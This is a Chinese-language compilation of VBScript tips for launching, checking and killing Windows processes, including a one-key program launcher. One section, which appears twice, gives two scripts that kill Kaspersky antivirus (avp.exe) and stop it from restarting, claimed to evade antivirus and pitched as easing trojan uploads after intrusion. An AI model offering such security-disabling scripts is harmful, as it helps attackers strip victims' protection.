1、定时运行程序与关闭程序的VBS处理方法:

do

set ws=createobject("wscript.shell")

ws.run"你要运行的程序的路径(比如说d:\qq.exe)",x 'x为参数,可选值如下.

wscript.sleep 36000 '36000为一分钟,具体可以自己改。

ws.run "taskkill /im 你要运行的程序的名称(比如说QQ.exe) /f",vbhide

loop
x为参数 下面为可选值:

0 隐藏一个窗口并激活另一个窗口。

1 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。第一次显示该窗口时,应用程序应指定此标志。

2 激活窗口并将其显示为最小化窗口。

3 激活窗口并将其显示为最大化窗口。

4 按最近的窗口大小和位置显示窗口。活动窗口保持活动状态。

5 激活窗口并按当前的大小和位置显示它。

6 最小化指定的窗口,并按照 Z 顺序激活下一个顶部窗口。

7 将窗口显示为最小化窗口。活动窗口保持活动状态。

8 将窗口显示为当前状态。活动窗口保持活动状态。

9 激活并显示窗口。如果窗口处于最小化或最大化状态,则系统将其还原到原始大小和位置。还原最小化窗口时,应用程序应指定此标志。

10 根据启动应用程序的程序状态来设置显示状态。

2、VBS控制应用程序的打开关闭
关闭所有excel文件
Set ObjShell=CreateObject("Wscript.Shell")
SttCommand=("cmd.exe /C  Taskkill  /f /im Excel.exe")
ObjShell.Run SttCommand, 0, False

用vbs打开程序 
 
检查程序,如已有就不打开!
 
pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径
 
n=split(pro,"\")
name=n(ubound(n))
 
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next
 
createobject("wscript.shell").run pro
 
====================================================================
 
vbs打开关闭应用程序
 
'1.打开关闭应用程序
 
Set WshShell = CreateObject("WScript.Shell")
'打开应用程序
 
Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID
 
WScript.Sleep 100
通过快捷键关闭程序
 
WshShell.SendKeys "%{F4}"
 
Set oExec = Nothing
 
 
'2. 通过进程名关闭程序
 
set WshShell =createobject("wscript.shell") 
'暂停3000毫秒 
wscript.sleep 3000
 
'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动
 
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释)  
Kill.vbs: 
for each ps in getobject _  
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚!  
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等  
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程  
end if  
next  
 
Dis.vbs:
dim y,x '不要这行也行……  
do '来个死循环……一直在判断!do ... loop内为循环体!  
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术!  
set x=y.execquery("select * from win32_process where name='avp.exe'")  
'查询语句,where后判断avp.exe(卡巴)是否存在进程中!  
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先……  
for each i in x  
i.terminate() '卡巴要启动马上就终止……  
next  
wscript.sleep  
loop  
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。  
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。  
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……  
 
 
=========================================================================
 
VBS,自动结束进程
 
先写上脚本代码先:
 
do while(1)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")
Set colProcessList1 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'iexplore.exe'")
For Each objProcess1 in colProcessList1
objProcess1.Terminate()
Next
Set colProcessList2 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'notepad.exe'")
For Each objProcess2 in colProcessList2
objProcess2.Terminate()
Next
Set colProcessList3 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = 'ping.exe'")
For Each objProcess3 in colProcessList3
objProcess3.Terminate()
Next
Wscript.Sleep(1000)
Loop
 
把上面的代码用记事本保存先,上面的3个红色的进程名则是我要终止的进程名(注:一定要写全名哦~)
 
如果你要禁止多个进程只需把上面的蓝色部分代码段多复制几下,然后把其中红色部分的进程名改为你
 
想终止的进程名即可。
 
最下面的红色的“1000”表示脚本循环运行一次的周期时间,默认单位为:毫秒。1000毫秒即=1秒
 
就是说每1秒循环一次,自己可以根据你的实际情况自由改动
 
OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了,你在看看你禁用掉的进程还可以
 
运行吗?呵呵,是不是感觉很不错,呵呵~
 
如果想把这个运行的VBS脚本关掉,请在任务栏把进程wscript.exe结束掉先,然后再把wmiprvse.exe结束掉
 
就可以啦~
 
另外请不要重复运行改好的脚本,否则任务栏里会出现多个wscript.exe进程,如果有多个这样的进程请手动
 
结束掉多余的,只留一个就OK啦
 
如果你想开机就自动执行的话,请把这个脚本放到启动栏里就可以了。
 
总的来说还是很实用的,例如机器中了病毒或者木马,找到它的进程名,然后把它的进程名添加到脚本里,
 
开启脚本,这样就能防止病毒进一步爆发减少你的损失,接下来就可以慢慢进行排毒工作了
 
 

3、用vbs打开程序

检查程序,如已有就不打开!

pro="c:\windows\system32\notepad.exe"'要打开的程序,写完整路径

n=split(pro,"\")
name=n(ubound(n))

for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next

createobject("wscript.shell").run pro

====================================================================

vbs打开关闭应用程序

'1.打开关闭应用程序

Set WshShell = CreateObject("WScript.Shell")
'打开应用程序

Set oExec = WshShell.Exec("C:\WINDOWS\system32\notepad.exe")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID

WScript.Sleep 100
通过快捷键关闭程序

WshShell.SendKeys "%{F4}"

Set oExec = Nothing

'2. 通过进程名关闭程序

set WshShell =createobject("wscript.shell")
'暂停3000毫秒
wscript.sleep 3000

'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run "cmd.exe /c taskkill /f /im notepad.exe /t",0
 
==========================================================================
用VBS实现脚本结束进程与防止进程启动

Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释) 
Kill.vbs:
for each ps in getobject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚! 
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等 
wscript.echo ps.terminate '如果相等就结束指定PID号对应的进程 
end if 
next

Dis.vbs:
dim y,x '不要这行也行…… 
do '来个死循环……一直在判断!do ... loop内为循环体! 
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术! 
set x=y.execquery("select * from win32_process where name='avp.exe'") 
'查询语句,where后判断avp.exe(卡巴)是否存在进程中! 
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先…… 
for each i in x 
i.terminate() '卡巴要启动马上就终止…… 
next 
wscript.sleep 
loop 
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。 
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是avp.exe,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有wscript.exe进程项,要是不结束这个进程是无法再次启动卡巴的。 
懂得这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善……

4、制作 一键启动程序,用vbs文件实现

 

教你制作 一键启动程序,用vbs文件实现

相信许多办公室一族都有这样的经历:每次打开电脑都要逐一开启N个即时通讯工具和Email客户端,鼠标点不够几十次根本无法开始工作,还没正式投入战斗,就已经倦了。虽然我们可以将其全部设为开机自动启动,但这会大大减慢开机速度,而且在不需要它们的非工作日无法临时取消。

如果,能有一款软件,使我们只点一次鼠标或是按一个键,就能将这些程序全部启动就好了。其实,Windows本身就有这样的功能,我们只需编写一个脚本即可。

首先,我们要准备好待启动程序的完整路径。对绝大多数程序来说,只需在开始菜单内的相应软件名上点右键,选“属性”,然后将“目标”中的文字复制下来即可。

但有几个程序比较特殊,用这种方法找不到其路径,比如MSN Messenger和Microsoft Office中的Word、Excel等组件。下面是这些程序在默认情况下的完整路径,如果您是自定义安装,则需根据情况略作修改。
MSN Messenger: "C:\Program Files\MSN Messenger\msnmsgr.exe"
Word: "C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"
(注:这是Office2007的情况,如果是Office2003或OfficeXP,需把路径中的Office12换成Office11或Office10,下同)
Excel: "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
Access: "C:\Program Files\Microsoft Office\Office12\MSACCESS.EXE"
PowerPoint: "C:\Program Files\Microsoft Office\Office12\POWERPNT.EXE"
接下来,新建一个文本文档,按下面格式将你要启动的程序输进去:
Program1 = "C:\Program Files\Tencent\QQ\QQ.exe"
Program2 = "C:\Program Files\MSN Messenger\msnmsgr.exe"
Program3 = "C:\Program Files\Outlook Express\msimn.exe"
Program4 = "C:\Program Files\Microsoft Office\Office12\EXCEL.EXE"
……

输完以后,再根据你上面输入的行数继续输入下面命令。
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program1)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program2)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program3)
Set WshShell=createobject("wscript.shell")
Set oExec=WshShell.Exec(Program4)
……

然后将此文件保存在任一目录下,并将扩展名改为vbs,再点右键,选“发送到→桌面快捷方式”。最后到桌面上找到这个快捷方式,点右键选“属性”在“快捷键”中设置一个快捷键(如F9)。

以后再开机,只须轻轻按一下F9键,就能启动你需要的全部程序.

VBS脚本随笔的更多相关文章

  1. 工控随笔_21_西门子_WinCC的VBS脚本_10_对象_01

    最近有点小忙,各种事情,心情也不是很好,烦心事特别多,因此最近更新的比较慢. 不敢再松懈了,今天正好有点时间,就继续看了一下VBScript中关于对象的一些内容. 一.对象 OOP是编程规模发展到一定 ...

  2. 工控随笔_18_西门子_WinCC的VBS脚本_07_变量作用域和传值、传址

    在vbs脚本中也存在和其他编程语言一样的概念,那就是变量的作用域,变量的作用域决 定在什么范围内可以访问. 同样的在vbs脚本中对于变量也有一个生命周期, 变量的生命周期决定了变量的存续时间 这个主要 ...

  3. 工控随笔_12_西门子_WinCC的VBS脚本_03_变量类型

    说到编程语言,总是绕不开数据类型,因为数据类型决定了数据可以进行什么样的操作.同时数据类型 从广义上来说是一种数据结构,在过程式编程的过程中,曾经有过这样一种说法: 程序 = 数据结构 + 算法 可见 ...

  4. 工控随笔_11_西门子_WinCC的VBS脚本_02_运算符

    VBS脚本做为编程语言,提供了很多的运算符,通过这些运算符,可以实现不同的操作.运算符具有不同的类型 不同的运算符之间具有运算优先级. 一.运算符的分类 大体分为以下几类: 1.赋值运算符 2.算术运 ...

  5. 工控随笔_10_西门子_WinCC的VBS脚本_01_基础入门

    很多人都认为VB语言或者VBS脚本语言是一种很low的语言,从心里看不起VB或者VBS, 但是其实VBS不仅可以做为系统管理员的利器,同样在工控领域VBS语言大有用武之地. 西门子的WinCC提供了两 ...

  6. 使用vbs脚本进行批量编码转换

    使用vbs脚本进行批量编码转换 最近需要使用SourceInsight查看分析在Linux系统下开发的项目代码,我们知道Linux系统中文本文件默认编码格式是UTF-8,而Windows中文系统中的默 ...

  7. 在本地主机上powershell中连接远程主机执行vbs脚本,得到执行结果(2008版及以上)

    在桌面版的主机上远程管理服务器版主机,在本地powershell中连接远程主机执行vbs脚本,得到执行结果. 执行步骤: 1.将本地主机上的Hyper.vbs复制到远程连接主机上.例如,本地vbs脚本 ...

  8. [VBS]脚本中的字典、动态数组、队列和堆栈

    今天用VBS脚本写了几个程序,用到了字典(Dictionary).动态数组(ArrayList).队列(Queue)和堆栈(Stack).现在写篇Blog总结一下 :-) 1.编写环境 今天突发奇想下 ...

  9. Vbs脚本经典教材(转)

    Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...

随机推荐

  1. Excel补全日期(日期按顺序补全)

    1.给出的数据 2.想补全缺失的日期,比如2015/3/1,2015/3/2,... 1)在D列输入完整的日期,如下图所示: 2)在E2处写函数“=IF(ISERR(VLOOKUP(D2,B:C,2, ...

  2. C# 在word文档中复制表格并粘帖到下一页中

    C# 在word文档中复制表格并粘帖到下一页中 object oMissing = System.Reflection.Missing.Value;            Microsoft.Offi ...

  3. js移动端tap事件封装

    这几天做项目,发现移动端需要触摸事件,而click肯定是不行的,于是我对tap事件封装进行了搜索,找到了一篇文章,原文地址如下:http://www.jb51.net/article/50663.ht ...

  4. MyBatis 错误:Invalid bound statement (not found)

    错误: org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com.zr.msgg.per ...

  5. Objective-C 2.0属性(Property)介绍

    通常在声明一些成员变量时会看到如下声明方式: @property (参数1,参数2) 类型 名字: 这里我们主要分析在括号中放入的参数,主要有以下三种: setter/getter方法(assign/ ...

  6. 【报错】java.lang.RuntimeException: Invalid action class configuration that references an unknown class named [xxxAction]

    java.lang.RuntimeException: Invalid action class configuration that references an unknown class name ...

  7. JavaScript在智能手机上的应用-通过滑动修改网页字体大小

    ---------------------------------- <script type="text/javascript">            //变量x, ...

  8. hdu_1950_Bridging signals(LIS)

    题目连接:http://acm.hdu.edu.cn/showproblem.php?pid=1950 题意:实际就是求最长递增子序列 题解:有两种解法,一种是利用二分,一种是用线段树 这个是这题的二 ...

  9. C#常用集合的使用

    大多数集合都在System.Collections,System.Collections.Generic两个命名空间.其中System.Collections.Generic专门用于泛型集合. 针对特 ...

  10. Entity Framework Code First ---EF Power Tool 和MySql一起使用遇到的问题

    关于如何使用EF Power Tool的介绍请看 http://www.cnblogs.com/LingzhiSun/archive/2011/05/24/EFPowerTool_1.html, 这里 ...